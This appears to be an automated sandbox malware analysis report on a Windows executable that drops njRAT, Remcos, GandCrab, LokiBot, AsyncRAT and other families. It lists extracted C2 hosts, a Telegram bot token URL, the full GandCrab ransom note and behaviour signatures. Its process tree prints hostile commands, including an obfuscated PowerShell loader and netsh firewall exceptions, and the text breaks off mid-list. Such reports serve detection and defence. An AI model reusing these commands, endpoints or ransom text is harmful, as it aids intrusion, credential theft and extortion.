Overview

overview

10

Static

static

3

.exe

windows7-x64

10

.exe

windows10-2004-x64

Analysis

  • max time kernel
    97s
  • max time network
    129s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    08-09-2024 01:36

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    .exe

  • Size

    17.8MB

  • MD5

    61bcb94052e57f07e8c662a80d8c29c1

  • SHA1

    db9d2e9e37eddedc1722727e8ce5a0a242a9ff10

  • SHA256

    3b0cfdd500288507ec287e0e2f33d7acb7a2bcad1537fcfb29a47a4fa7cc23a6

  • SHA512

    7f9f9c2c6cd5dd49baf6791808e5a31c9e4726d27f87aaad8e2df75ab2a0dbf20956d0bab8761a9e742d1fa85052f9f7f0ae8e6cf269a0761053786e547935a1

  • SSDEEP

    49152:U6m1Vv6+nTCnjhT5iD1hTIUGzVnDk7Q3xCDza91PU3i/hv/kklWHvv7vTRZOp6/u:Um

Score
10/10
asyncratdcratgandcrablokibotnjratremcosstormkittyaugust crypter toolz grace stubdefaulthackedpukedvictimчучундраbackdoorbootkitcollectioncredential_accessdefense_evasiondiscoveryevasionexecutionimpactinfostealerpersistenceprivilege_escalationransomwareratspywarestealertrojanupxvmprotect

Malware Config

Extracted

Family

njrat

Version

<- NjRAT 0.7d Horror Edition ->

Botnet

Victim

C2

great-it.gl.at.ply.gg:11149

Mutex

4d5861675348411506f0e029827092c2

Attributes
  • reg_key

    4d5861675348411506f0e029827092c2

  • splitter

    Y262SUCZ4UJJ

Extracted

Family

njrat

Version

im523

Botnet

puked

C2

147.185.221.20:47570

Mutex

20006afb0ec33f2e48c8c1f17d4d3382

Attributes
  • reg_key

    20006afb0ec33f2e48c8c1f17d4d3382

  • splitter

    |'|'|

Extracted

Family

njrat

Version

0.7d

Botnet

чучундра

C2

hakim32.ddns.net:2000

safety-bronze.gl.at.ply.gg:4444
Mutex

27b92504703b09d3ee2dae0873e8e3f3

Attributes
  • reg_key

    27b92504703b09d3ee2dae0873e8e3f3

  • splitter

    |'|'|

Extracted

Family

njrat

Version

0.7d

Botnet

HacKed

C2

192.168.1.42:5552

Mutex

bf7b1fe7a7644171a9985ea45221c25c

Attributes
  • reg_key

    bf7b1fe7a7644171a9985ea45221c25c

  • splitter

    |'|'|

Extracted

Family

remcos

Botnet

AUGUST CRYPTER TOOLZ GRACE STUB

C2

teamfavour222.ddns.net :6767

odogwuvisual123.duckdns.org:6767
Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    -YFLE4M

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Extracted

Path

F:\$RECYCLE.BIN\GGADBW-DECRYPT.txt

Ransom Note
---= GANDCRAB V5.0.3 =--- ***********************UNDER NO CIRCUMSTANCES DO NOT DELETE THIS FILE, UNTIL ALL YOUR DATA IS RECOVERED*********************** *****FAILING TO DO SO, WILL RESULT IN YOUR SYSTEM CORRUPTION, IF THERE WILL BE DECRYPTION ERRORS***** Attention! All your files, documents, photos, databases and other important files are encrypted and have the extension: .GGADBW The only method of recovering files is to purchase an unique private key. Only we can give you this key and only we can recover your files. The server with your key is in a closed network TOR. You can get there by the following ways: ---------------------------------------------------------------------------------------- | 0. Download Tor browser - https://www.torproject.org/ | 1. Install Tor browser | 2. Open Tor Browser | 3. Open link in TOR browser: http://gandcrabmfe6mnef.onion/33d38e6e18212ca2 | 4. Follow the instructions on this page ---------------------------------------------------------------------------------------- On our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. ATTENTION! IN ORDER TO PREVENT DATA DAMAGE: * DO NOT MODIFY ENCRYPTED FILES * DO NOT CHANGE DATA BELOW ---BEGIN GANDCRAB KEY--- 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 ---END GANDCRAB KEY--- ---BEGIN PC DATA--- wfKD6iudumBkmpL8IRr4U4exEVaoOXLtwDwmOrT1y1YWvOiWMx5GYaRdvZZPTodRv3YV7ndWsbfcTHiHhh5qBJzzs9MC7736UkGSDDniUJJG8/LFF//kmGmoAZAGLo2j5/wd2UrxMJK+iqKhTkS3ArgAxrZOOOiXrbnhbWMkLHQnbYuWlMClYZxYU6SDxpopRo5r292AV1KIZBZV4APBuUHcKSIr2MWMI0O1MKIP2IpKLE2TS5wLmpQodXZhP6M/UPrO1sZzkDbgjYlAG3g8l65nVd0/CBUxKQ7KDJYrtX0vSmnFXg/ykfgtJNiwqfCnqbr85+Bi4LFxkRzB4+Ks/zM2F+tzGtpYZFqBBibtrxGFEYgboycE4oG4b6a1Y8ZyGoyp2Q2iuJRzTRoqGlPQJIAJppFrwNIoDBPOnKw+A+5ZALufjGEwg7NrKg3qxA9Kxg7xZizpDhFO3vHLNuah1wIZLXRgRl+KCjmo1jngAX95mSffmizzQU1nmrIqlsew6HIMVY3pdDfwfAscdcBnP3FNhn9WQ3XC06ZCEvXtdUj8BYRMbJHwHowOP7+LRYsPy4knV/fu67PJzMP9LnZDh5szqewLRaRtAf+EbjLWu+IPXpBeLdQo9FRha1KO2vpgy2mFLQkzlAtXfjb5QmECiQ== ---END PC DATA---
URLs

http://gandcrabmfe6mnef.onion/33d38e6e18212ca2

Extracted

Family

lokibot

C2

http://45.133.1.20/oluwa/five/fre.php

http://kbfvzoboss.bid/alien/fre.php

http://alphastand.trade/alien/fre.php

http://alphastand.win/alien/fre.php

http://alphastand.top/alien/fre.php

Extracted

Family

asyncrat

Botnet

Default

C2

127.0.0.1:6606

127.0.0.1:7707

127.0.0.1:8808

https://api.telegram.org/bot7293375371:AAFwIvNWcuknS3y3mtsx4yNSSTkj8NCF_ko/sendMessage?chat_id=5795480469
Mutex

AsyncMutex_6SI8OkPnk

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

    ratasyncrat
  • DcRat 64 IoCs

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

    ratinfostealerdcrat
  • Gandcrab

    Gandcrab is a Trojan horse that encrypts files on a computer.

    ransomwarebackdoorgandcrab
  • Lokibot

    Lokibot is a Password and CryptoCoin Wallet Stealer.

    trojanspywarestealerlokibot
  • Modifies WinLogon for persistence 2 TTPs 2 IoCs
    persistence
  • Modifies firewall policy service 3 TTPs 4 IoCs
    evasion
  • Process spawned unexpected child process 64 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

    ratremcos
  • StormKitty

    StormKitty is an open source info stealer written in C#.

    stealerstormkitty
  • StormKitty payload 2 IoCs
  • njRAT/Bladabindi

    Widely used RAT written in .NET.

    trojannjrat
  • Async RAT payload 1 IoCs
    rat
  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

    credential_accessstealer
  • DCRat payload 6 IoCs

    Detects payload of DCRat, commonly dropped by NSIS installers.

    rat
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Detected Nirsoft tools 26 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 9 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 7 IoCs

    Password recovery tool for various web browsers

  • Renames multiple (168) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Renames multiple (326) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Adds policy Run key to start application 2 TTPs 1 IoCs
    persistence
  • Disables Task Manager via registry modification
    evasion
  • Drops file in Drivers directory 2 IoCs
  • Event Triggered Execution: AppInit DLLs 1 TTPs

    Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.

    persistenceprivilege_escalation
  • Modifies Windows Firewall 2 TTPs 3 IoCs
    evasion
  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

    credential_accessstealer
  • Drops startup file 7 IoCs
  • Executes dropped EXE 64 IoCs
  • Impair Defenses: Safe Mode Boot 1 TTPs 2 IoCs
    defense_evasion
  • Loads dropped DLL 57 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • UPX packed file 6 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Uses the VBS compiler for execution 1 TTPs
  • VMProtect packed file 1 IoCs

    Detects executables packed with VMProtect commercial packer.

    vmprotect
  • Accesses Microsoft Outlook accounts 1 TTPs 7 IoCs
    collection
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
    collection
  • Adds Run key to start application 2 TTPs 10 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Drops desktop.ini file(s) 5 IoCs
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Drops autorun.inf file 1 TTPs 5 IoCs

    Malware can abuse Windows Autorun to spread further via attached volumes.

  • Drops file in System32 directory 12 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Suspicious use of SetThreadContext 33 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 16 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 5 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Kills process with taskkill 1 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 17 IoCs
    adwarespyware
  • Modifies registry class 32 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
    evasionspywaretrojan
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 64 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 3 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious behavior: MapViewOfSection 34 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\lsass.exe
    C:\Windows\system32\lsass.exe
    1⤵
      PID:488
    • C:\Windows\Explorer.EXE
      C:\Windows\Explorer.EXE
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1196
      • C:\Users\Admin\AppData\Local\Temp\.exe
        "C:\Users\Admin\AppData\Local\Temp\.exe"
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1732
        • C:\Program Files (x86)\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe
          "C:\Program Files (x86)\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:2696
        • C:\Program Files (x86)\5e710462c65fe899466e4fb7c1e33c9a.exe
          "C:\Program Files (x86)\5e710462c65fe899466e4fb7c1e33c9a.exe"
          3⤵
          • Executes dropped EXE
          • Drops file in Windows directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2580
          • C:\Windows\assembly\NativeImages_v2.0.50727_32\System.IdentityModel\b4c60dd01be760ee0452df2c040de8fc\Cat.exe
            "C:\Windows\assembly\NativeImages_v2.0.50727_32\System.IdentityModel\b4c60dd01be760ee0452df2c040de8fc\Cat.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:3676
        • C:\Program Files (x86)\7f1630df6b57af024a3b561bdadc208f.exe
          "C:\Program Files (x86)\7f1630df6b57af024a3b561bdadc208f.exe"
          3⤵
          • Executes dropped EXE
          • Drops desktop.ini file(s)
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:2800
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 2800 -s 916
            4⤵
            • Loads dropped DLL
            • Program crash
            PID:3176
        • C:\Program Files (x86)\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe
          "C:\Program Files (x86)\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe"
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:1928
          • C:\Users\Admin\AppData\Local\Temp\server.exe
            "C:\Users\Admin\AppData\Local\Temp\server.exe"
            4⤵
            • Drops startup file
            • Executes dropped EXE
            • Adds Run key to start application
            • Drops autorun.inf file
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: GetForegroundWindowSpam
            • Suspicious use of AdjustPrivilegeToken
            PID:2612
            • C:\Windows\SysWOW64\netsh.exe
              netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\server.exe" "server.exe" ENABLE
              5⤵
              • Modifies Windows Firewall
              PID:3304
            • C:\Windows\SysWOW64\taskkill.exe
              taskkill /F /IM Exsample.exe
              5⤵
              • Kills process with taskkill
              PID:3196
        • C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe
          "C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious use of AdjustPrivilegeToken
          PID:2872
          • C:\Windows\SysWOW64\netsh.exe
            netsh firewall add allowedprogram "C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe" "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe" ENABLE
            4⤵
            • Modifies Windows Firewall
            • Event Triggered Execution: Netsh Helper DLL
            • System Location Discovery: System Language Discovery
            PID:3104
        • C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe
          "C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe"
          3⤵
          • Modifies WinLogon for persistence
          • Executes dropped EXE
          • Adds Run key to start application
          • Drops file in Windows directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2900
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\l05jlleo\l05jlleo.cmdline"
            4⤵
            • Drops file in System32 directory
            PID:2704
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES35D0.tmp" "c:\Windows\System32\CSC80A7830CAE3E4775A8E9D8AF50F5C721.TMP"
              5⤵
                PID:696
          • C:\Program Files (x86)\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe
            "C:\Program Files (x86)\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe"
            3⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:2776
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
              "Powershell.exe" -windowstyle minimized "$Teratism249 = Get-Content 'C:\Users\Admin\AppData\Local\Temp\celleslim\farve\pitiableness\Guldtand.Spi168' ; $Neglefilen=$Teratism249.SubString(69482,3);.$Neglefilen($Teratism249) "
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:2960
          • C:\Program Files (x86)\73c1c41b9e71c48e752a5cd19fe808b6.exe
            "C:\Program Files (x86)\73c1c41b9e71c48e752a5cd19fe808b6.exe"
            3⤵
            • Executes dropped EXE
            • Drops file in Windows directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2612
            • C:\Windows\addins\Client.exe
              "C:\Windows\addins\Client.exe"
              4⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:3860
          • C:\Program Files (x86)\75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe
            "C:\Program Files (x86)\75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe"
            3⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:2248
          • C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
            "C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe"
            3⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Modifies system certificate store
            • Suspicious use of AdjustPrivilegeToken
            PID:1096
            • C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
              "C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe"
              4⤵
              • Drops startup file
              • Executes dropped EXE
              • Adds Run key to start application
              • Drops file in Program Files directory
              • System Location Discovery: System Language Discovery
              • Checks processor information in registry
              PID:2188
          • C:\Program Files (x86)\938b92958ded4d50a357d22eddf141ad.exe
            "C:\Program Files (x86)\938b92958ded4d50a357d22eddf141ad.exe"
            3⤵
            • Drops file in Drivers directory
            • Executes dropped EXE
            • Loads dropped DLL
            • Drops file in System32 directory
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            • Modifies registry class
            • Suspicious use of WriteProcessMemory
            PID:320
            • C:\Windows\winhlp32.exe
              winhlp32.exe -x
              4⤵
              • System Location Discovery: System Language Discovery
              PID:636
            • C:\Windows\winhlp32.exe
              winhlp32.exe -x
              4⤵
              • System Location Discovery: System Language Discovery
              PID:2156
            • C:\Users\Admin\AppData\Local\Temp\fwclt.exe
              C:\Users\Admin\AppData\Local\Temp\fwclt.exe C:\Program Files (x86)\938b92958ded4d50a357d22eddf141ad.exe
              4⤵
              • Executes dropped EXE
              PID:3652
          • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
            "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe"
            3⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: MapViewOfSection
            PID:2520
            • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
              "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\imiydsurpjkzxxkj"
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:776
            • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
              "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\sgvreketdrceiegnakk"
              4⤵
              • Executes dropped EXE
              • Accesses Microsoft Outlook accounts
              PID:3924
            • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
              "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\dibcedpmrzvrkkuzjufwyaq"
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:4056
            • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
              "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ascmbuuzaerpgz"
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:3956
            • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
              "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\kmhecmftomjujfjnlu"
              4⤵
              • Executes dropped EXE
              • Accesses Microsoft Outlook accounts
              • System Location Discovery: System Language Discovery
              PID:3232
            • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
              "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\uonpdfqvcubztlxruffln"
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:764
            • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
              "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\rxozawvaezxfh"
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:1220
            • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
              "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\crtrbpgbahpkrgln"
              4⤵
              • Executes dropped EXE
              • Accesses Microsoft Outlook accounts
              • System Location Discovery: System Language Discovery
              PID:3904
            • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
              "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\mtgkbhqvophpunzrfxn"
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:3088
            • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
              "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\jdimzynipue"
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:1684
            • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
              "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\txnfzrycdcwasio"
              4⤵
              • Executes dropped EXE
              • Accesses Microsoft Outlook accounts
              • System Location Discovery: System Language Discovery
              PID:2196
            • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
